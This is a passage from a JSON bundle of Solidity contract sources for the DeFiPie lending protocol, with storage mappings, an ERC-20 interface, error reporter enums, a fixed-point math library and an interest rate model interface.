factory;\r\n\r\n /// @notice The portion of pieRate that each market currently receives\r\n mapping(address => uint) public pieSpeeds;\r\n\r\n /// @notice The PIE market supply state for each market\r\n mapping(address => PieMarketState) public pieSupplyState;\r\n\r\n /// @notice The PIE market borrow state for each market\r\n mapping(address => PieMarketState) public pieBorrowState;\r\n\r\n /// @notice The PIE borrow index for each market for each supplier as of the last time they accrued PIE\r\n mapping(address => mapping(address => uint)) public pieSupplierIndex;\r\n\r\n /// @notice The PIE borrow index for each market for each borrower as of the last time they accrued PIE\r\n mapping(address => mapping(address => uint)) public pieBorrowerIndex;\r\n\r\n /// @notice The PIE accrued but not yet transferred to each user\r\n mapping(address => uint) public pieAccrued;\r\n}",
"keccak256": "0x1bfdd440933895c6990ab553fa9f5ae957da2da44008f61f73402adafe432ea7"
},
"contracts/EIP20Interface.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\n/**\r\n * @title ERC 20 Token Standard Interface\r\n * https://eips.ethereum.org/EIPS/eip-20\r\n */\r\ninterface EIP20Interface {\r\n function name() external view returns (string memory);\r\n function symbol() external view returns (string memory);\r\n function decimals() external view returns (uint8);\r\n\r\n /**\r\n * @notice Get the total number of tokens in circulation\r\n * @return The supply of tokens\r\n */\r\n function totalSupply() external view returns (uint256);\r\n\r\n /**\r\n * @notice Gets the balance of the specified address\r\n * @param owner The address from which the balance will be retrieved\r\n * @return The balance\r\n */\r\n function balanceOf(address owner) external view returns (uint256);\r\n\r\n /**\r\n * @notice Transfer `amount` tokens from `msg.sender` to `dst`\r\n * @param dst The address of the destination account\r\n * @param amount The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */\r\n function transfer(address dst, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Transfer `amount` tokens from `src` to `dst`\r\n * @param src The address of the source account\r\n * @param dst The address of the destination account\r\n * @param amount The number of tokens to transfer\r\n * @return Whether or not the transfer succeeded\r\n */\r\n function transferFrom(address src, address dst, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Approve `spender` to transfer up to `amount` from `src`\r\n * @dev This will overwrite the approval amount for `spender`\r\n * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)\r\n * @param spender The address of the account which may transfer tokens\r\n * @param amount The number of tokens that are approved (-1 means infinite)\r\n * @return Whether or not the approval succeeded\r\n */\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @notice Get the current allowance from `owner` for `spender`\r\n * @param owner The address of the account which owns the tokens to be spent\r\n * @param spender The address of the account which may transfer tokens\r\n * @return The number of tokens allowed to be spent (-1 means infinite)\r\n */\r\n function allowance(address owner, address spender) external view returns (uint256);\r\n\r\n event Transfer(address indexed from, address indexed to, uint256 amount);\r\n event Approval(address indexed owner, address indexed spender, uint256 amount);\r\n}\r\n",
"keccak256": "0x92fd3d8420359169f9fb602b3110a0cbced85bc550415df4fc6c3aca1a8e5692"
},
"contracts/ErrorReporter.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\ncontract ControllerErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED,\r\n CONTROLLER_MISMATCH,\r\n INSUFFICIENT_SHORTFALL,\r\n INSUFFICIENT_LIQUIDITY,\r\n INVALID_CLOSE_FACTOR,\r\n INVALID_COLLATERAL_FACTOR,\r\n INVALID_LIQUIDATION_INCENTIVE,\r\n MARKET_NOT_ENTERED, // no longer possible\r\n MARKET_NOT_LISTED,\r\n MARKET_ALREADY_LISTED,\r\n MATH_ERROR,\r\n NONZERO_BORROW_BALANCE,\r\n PRICE_ERROR,\r\n PRICE_UPDATE_ERROR,\r\n REJECTION,\r\n SNAPSHOT_ERROR,\r\n TOO_MANY_ASSETS,\r\n TOO_MUCH_REPAY\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,\r\n EXIT_MARKET_BALANCE_OWED,\r\n EXIT_MARKET_REJECTION,\r\n SET_CLOSE_FACTOR_OWNER_CHECK,\r\n SET_CLOSE_FACTOR_VALIDATION,\r\n SET_COLLATERAL_FACTOR_OWNER_CHECK,\r\n SET_COLLATERAL_FACTOR_NO_EXISTS,\r\n SET_COLLATERAL_FACTOR_VALIDATION,\r\n SET_COLLATERAL_FACTOR_WITHOUT_PRICE,\r\n SET_IMPLEMENTATION_OWNER_CHECK,\r\n SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,\r\n SET_LIQUIDATION_INCENTIVE_VALIDATION,\r\n SET_MAX_ASSETS_OWNER_CHECK,\r\n SET_PAUSE_GUARDIAN_OWNER_CHECK,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_PENDING_IMPLEMENTATION_OWNER_CHECK,\r\n SET_PRICE_ORACLE_OWNER_CHECK,\r\n SUPPORT_MARKET_EXISTS,\r\n SUPPORT_MARKET_OWNER_CHECK\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n\r\n /**\r\n * @dev use this when reporting an opaque error from an upgradeable collaborator contract\r\n */\r\n function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), opaqueError);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract TokenErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED,\r\n BAD_INPUT,\r\n CONTROLLER_REJECTION,\r\n CONTROLLER_CALCULATION_ERROR,\r\n INTEREST_RATE_MODEL_ERROR,\r\n INVALID_ACCOUNT_PAIR,\r\n INVALID_CLOSE_AMOUNT_REQUESTED,\r\n INVALID_COLLATERAL_FACTOR,\r\n MATH_ERROR,\r\n MARKET_NOT_FRESH,\r\n MARKET_NOT_LISTED,\r\n TOKEN_INSUFFICIENT_ALLOWANCE,\r\n TOKEN_INSUFFICIENT_BALANCE,\r\n TOKEN_INSUFFICIENT_CASH,\r\n TOKEN_TRANSFER_IN_FAILED,\r\n TOKEN_TRANSFER_OUT_FAILED\r\n }\r\n\r\n /*\r\n * Note: FailureInfo (but not Error) is kept in alphabetical order\r\n * This is because FailureInfo grows significantly faster, and\r\n * the order of Error has some meaning, while the order of FailureInfo\r\n * is entirely arbitrary.\r\n */\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,\r\n BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\r\n BORROW_ACCRUE_INTEREST_FAILED,\r\n BORROW_CASH_NOT_AVAILABLE,\r\n BORROW_FRESHNESS_CHECK,\r\n BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,\r\n BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,\r\n BORROW_MARKET_NOT_LISTED,\r\n BORROW_CONTROLLER_REJECTION,\r\n LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,\r\n LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,\r\n LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,\r\n LIQUIDATE_CONTROLLER_REJECTION,\r\n LIQUIDATE_CONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,\r\n LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,\r\n LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,\r\n LIQUIDATE_FRESHNESS_CHECK,\r\n LIQUIDATE_LIQUIDATOR_IS_BORROWER,\r\n LIQUIDATE_REPAY_BORROW_FRESH_FAILED,\r\n LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,\r\n LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,\r\n LIQUIDATE_SEIZE_CONTROLLER_REJECTION,\r\n LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,\r\n LIQUIDATE_SEIZE_TOO_MUCH,\r\n MINT_ACCRUE_INTEREST_FAILED,\r\n MINT_CONTROLLER_REJECTION,\r\n MINT_EXCHANGE_CALCULATION_FAILED,\r\n MINT_EXCHANGE_RATE_READ_FAILED,\r\n MINT_FRESHNESS_CHECK,\r\n MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,\r\n MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,\r\n MINT_TRANSFER_IN_FAILED,\r\n MINT_TRANSFER_IN_NOT_POSSIBLE,\r\n REDEEM_ACCRUE_INTEREST_FAILED,\r\n REDEEM_CONTROLLER_REJECTION,\r\n REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,\r\n REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,\r\n REDEEM_EXCHANGE_RATE_READ_FAILED,\r\n REDEEM_FRESHNESS_CHECK,\r\n REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,\r\n REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,\r\n REDEEM_TRANSFER_OUT_NOT_POSSIBLE,\r\n REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,\r\n REDUCE_RESERVES_ADMIN_CHECK,\r\n REDUCE_RESERVES_CASH_NOT_AVAILABLE,\r\n REDUCE_RESERVES_FRESH_CHECK,\r\n REDUCE_RESERVES_VALIDATION,\r\n REPAY_BEHALF_ACCRUE_INTEREST_FAILED,\r\n REPAY_BORROW_ACCRUE_INTEREST_FAILED,\r\n REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_CONTROLLER_REJECTION,\r\n REPAY_BORROW_FRESHNESS_CHECK,\r\n REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,\r\n SET_COLLATERAL_FACTOR_OWNER_CHECK,\r\n SET_COLLATERAL_FACTOR_VALIDATION,\r\n SET_CONTROLLER_OWNER_CHECK,\r\n SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,\r\n SET_INTEREST_RATE_MODEL_FRESH_CHECK,\r\n SET_INTEREST_RATE_MODEL_OWNER_CHECK,\r\n SET_MAX_ASSETS_OWNER_CHECK,\r\n SET_ORACLE_MARKET_NOT_LISTED,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,\r\n SET_RESERVE_FACTOR_ADMIN_CHECK,\r\n SET_RESERVE_FACTOR_FRESH_CHECK,\r\n SET_RESERVE_FACTOR_BOUNDS_CHECK,\r\n TRANSFER_CONTROLLER_REJECTION,\r\n TRANSFER_NOT_ALLOWED,\r\n TRANSFER_NOT_ENOUGH,\r\n TRANSFER_TOO_MUCH,\r\n ADD_RESERVES_ACCRUE_INTEREST_FAILED,\r\n ADD_RESERVES_FRESH_CHECK,\r\n ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE,\r\n SET_NEW_IMPLEMENTATION\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n\r\n /**\r\n * @dev use this when reporting an opaque error from an upgradeable collaborator contract\r\n */\r\n function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), opaqueError);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract OracleErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED,\r\n UPDATE_PRICE\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n NO_RESERVES,\r\n PERIOD_NOT_ELAPSED,\r\n SET_NEW_ADDRESSES,\r\n SET_NEW_IMPLEMENTATION,\r\n SET_PENDING_ADMIN_OWNER_CHECK\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract FactoryErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n INVALID_POOL,\r\n MARKET_NOT_LISTED,\r\n UNAUTHORIZED\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n CREATE_PETH_POOL,\r\n CREATE_PPIE_POOL,\r\n DEFICIENCY_ETH_LIQUIDITY_IN_POOL,\r\n PAIR_IS_NOT_EXIST,\r\n SET_MIN_LIQUIDITY_OWNER_CHECK,\r\n SET_NEW_CONTROLLER,\r\n SET_NEW_DECIMALS,\r\n SET_NEW_EXCHANGE_RATE,\r\n SET_NEW_IMPLEMENTATION,\r\n SET_NEW_INTEREST_RATE_MODEL,\r\n SET_NEW_ORACLE,\r\n SET_NEW_RESERVE_FACTOR,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SUPPORT_MARKET_BAD_RESULT\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract RegistryErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n SET_NEW_IMPLEMENTATION,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_NEW_FACTORY\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}",
"keccak256": "0x45d7e87759b79f01b01819eb11ebabca05ddca7f3e0ae8c595dbe4c008e9dc0c"
},
"contracts/Exponential.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./CarefulMath.sol\";\r\n\r\n/**\r\n * @title Exponential module for storing fixed-precision decimals\r\n * @author DeFiPie\r\n * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.\r\n * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:\r\n * `Exp({mantissa: 5100000000000000000})`.\r\n */\r\ncontract Exponential is CarefulMath {\r\n uint constant expScale = 1e18;\r\n uint constant doubleScale = 1e36;\r\n uint constant halfExpScale = expScale/2;\r\n uint constant mantissaOne = expScale;\r\n\r\n struct Exp {\r\n uint mantissa;\r\n }\r\n\r\n struct Double {\r\n uint mantissa;\r\n }\r\n\r\n /**\r\n * @dev Creates an exponential from numerator and denominator values.\r\n * Note: Returns an error if (`num` * 10e18) > MAX_INT,\r\n * or if `denom` is zero.\r\n */\r\n function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint scaledNumerator) = mulUInt(num, expScale);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n (MathError err1, uint rational) = divUInt(scaledNumerator, denom);\r\n if (err1 != MathError.NO_ERROR) {\r\n return (err1, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: rational}));\r\n }\r\n\r\n /**\r\n * @dev Adds two exponentials, returning a new exponential.\r\n */\r\n function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n (MathError error, uint result) = addUInt(a.mantissa, b.mantissa);\r\n\r\n return (error, Exp({mantissa: result}));\r\n }\r\n\r\n /**\r\n * @dev Subtracts two exponentials, returning a new exponential.\r\n */\r\n function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n (MathError error, uint result) = subUInt(a.mantissa, b.mantissa);\r\n\r\n return (error, Exp({mantissa: result}));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, returning a new Exp.\r\n */\r\n function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.\r\n */\r\n function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory product) = mulScalar(a, scalar);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, truncate(product));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.\r\n */\r\n function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory product) = mulScalar(a, scalar);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return addUInt(truncate(product), addend);\r\n }\r\n\r\n /**\r\n * @dev Divide an Exp by a scalar, returning a new Exp.\r\n */\r\n function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));\r\n }\r\n\r\n /**\r\n * @dev Divide a scalar by an Exp, returning a new Exp.\r\n */\r\n function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {\r\n /*\r\n We are doing this as:\r\n getExp(mulUInt(expScale, scalar), divisor.mantissa)\r\n\r\n How it works:\r\n Exp = a / b;\r\n Scalar = s;\r\n `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`\r\n */\r\n (MathError err0, uint numerator) = mulUInt(expScale, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n return getExp(numerator, divisor.mantissa);\r\n }\r\n\r\n /**\r\n * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.\r\n */\r\n function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory fraction_) = divScalarByExp(scalar, divisor);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, truncate(fraction_));\r\n }\r\n\r\n /**\r\n * @dev Multiplies two exponentials, returning a new exponential.\r\n */\r\n function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n\r\n (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n // We add half the scale before dividing so that we get rounding instead of truncation.\r\n // See \"Listing 6\" and text above it at https://accu.org/index.php/journals/1717\r\n // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.\r\n (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);\r\n if (err1 != MathError.NO_ERROR) {\r\n return (err1, Exp({mantissa: 0}));\r\n }\r\n\r\n (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);\r\n // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.\r\n assert(err2 == MathError.NO_ERROR);\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: product}));\r\n }\r\n\r\n /**\r\n * @dev Multiplies two exponentials given their mantissas, returning a new exponential.\r\n */\r\n function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {\r\n return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));\r\n }\r\n\r\n /**\r\n * @dev Multiplies three exponentials, returning a new exponential.\r\n */\r\n function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {\r\n (MathError err, Exp memory ab) = mulExp(a, b);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, ab);\r\n }\r\n return mulExp(ab, c);\r\n }\r\n\r\n /**\r\n * @dev Divides two exponentials, returning a new exponential.\r\n * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,\r\n * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)\r\n */\r\n function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n return getExp(a.mantissa, b.mantissa);\r\n }\r\n\r\n /**\r\n * @dev Truncates the given exp to a whole number value.\r\n * For example, truncate(Exp{mantissa: 15 * expScale}) = 15\r\n */\r\n function truncate(Exp memory exp) pure internal returns (uint) {\r\n // Note: We are not using careful math here as we're performing a division that cannot fail\r\n return exp.mantissa / expScale;\r\n }\r\n\r\n /**\r\n * @dev Checks if first Exp is less than second Exp.\r\n */\r\n function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa < right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev Checks if left Exp <= right Exp.\r\n */\r\n function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa <= right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev Checks if left Exp > right Exp.\r\n */\r\n function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa > right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev returns true if Exp is exactly zero\r\n */\r\n function isZeroExp(Exp memory value) pure internal returns (bool) {\r\n return value.mantissa == 0;\r\n }\r\n\r\n function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {\r\n require(n < 2**224, errorMessage);\r\n return uint224(n);\r\n }\r\n\r\n function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {\r\n require(n < 2**32, errorMessage);\r\n return uint32(n);\r\n }\r\n\r\n function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: add_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function add_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: add_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function add_(uint a, uint b) pure internal returns (uint) {\r\n return add_(a, b, \"addition overflow\");\r\n }\r\n\r\n function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n uint c = a + b;\r\n require(c >= a, errorMessage);\r\n return c;\r\n }\r\n\r\n function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: sub_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: sub_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function sub_(uint a, uint b) pure internal returns (uint) {\r\n return sub_(a, b, \"subtraction underflow\");\r\n }\r\n\r\n function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n require(b <= a, errorMessage);\r\n return a - b;\r\n }\r\n\r\n function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});\r\n }\r\n\r\n function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: mul_(a.mantissa, b)});\r\n }\r\n\r\n function mul_(uint a, Exp memory b) pure internal returns (uint) {\r\n return mul_(a, b.mantissa) / expScale;\r\n }\r\n\r\n function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});\r\n }\r\n\r\n function mul_(Double memory a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: mul_(a.mantissa, b)});\r\n }\r\n\r\n function mul_(uint a, Double memory b) pure internal returns (uint) {\r\n return mul_(a, b.mantissa) / doubleScale;\r\n }\r\n\r\n function mul_(uint a, uint b) pure internal returns (uint) {\r\n return mul_(a, b, \"multiplication overflow\");\r\n }\r\n\r\n function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n if (a == 0 || b == 0) {\r\n return 0;\r\n }\r\n uint c = a * b;\r\n require(c / a == b, errorMessage);\r\n return c;\r\n }\r\n\r\n function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});\r\n }\r\n\r\n function div_(Exp memory a, uint b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: div_(a.mantissa, b)});\r\n }\r\n\r\n function div_(uint a, Exp memory b) pure internal returns (uint) {\r\n return div_(mul_(a, expScale), b.mantissa);\r\n }\r\n\r\n function div_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});\r\n }\r\n\r\n function div_(Double memory a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(a.mantissa, b)});\r\n }\r\n\r\n function div_(uint a, Double memory b) pure internal returns (uint) {\r\n return div_(mul_(a, doubleScale), b.mantissa);\r\n }\r\n\r\n function div_(uint a, uint b) pure internal returns (uint) {\r\n return div_(a, b, \"divide by zero\");\r\n }\r\n\r\n function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n require(b > 0, errorMessage);\r\n return a / b;\r\n }\r\n\r\n function fraction(uint a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(mul_(a, doubleScale), b)});\r\n }\r\n}\r\n",
"keccak256": "0x82fb044f3cb920550077e453201b2fafed4739b88e840f13d8b74a921534d21c"
},
"contracts/InterestRateModel.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\n/**\r\n * @title DeFiPie's InterestRateModel Interface\r\n * @author DeFiPie\r\n */\r\nabstract contract InterestRateModel {\r\n /// @notice Indicator that this is an InterestRateModel contract (for inspection)\r\n bool public constant isInterestRateModel = true;\r\n\r\n /**\r\n * @notice Calculates the current borrow interest rate per block\r\n * @param cash The total amount of cash the market has\r\n * @param borrows The total amount of borrows the market has outstanding\r\n * @param reserves The total amount of reserves the market has\r\n * @return The borrow rate per block (as a percentage, and scaled by 1e18)\r\n */\r\n function getBorrowRate(uint cash, uint borrows, uint reserves) external view virtual returns (uint);\r\n\r\n /**\r\n * @notice Calculates the current supply interest rate per block\r\n * @param cash The total amount of cash the market has\r\n * @param borrows The total amount of borrows the market has outstanding\r\n * @param reserves The total amount of reserves the market has\r\n * @param reserveFactorMantissa The current reserve factor the market has\r\n * @return The supply rate per block (as a percentage, and scaled by 1e18)\r\n */\r\n function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view virtual returns (uint);\r\n\r\n}\r\n",
"keccak256": "0x888dd34d8e448ed26653b79a3a9eff0a7784dc5bc599dcfe25524ed3f87b9d71"
},
"contracts/PTokenInterfaces.sol": {
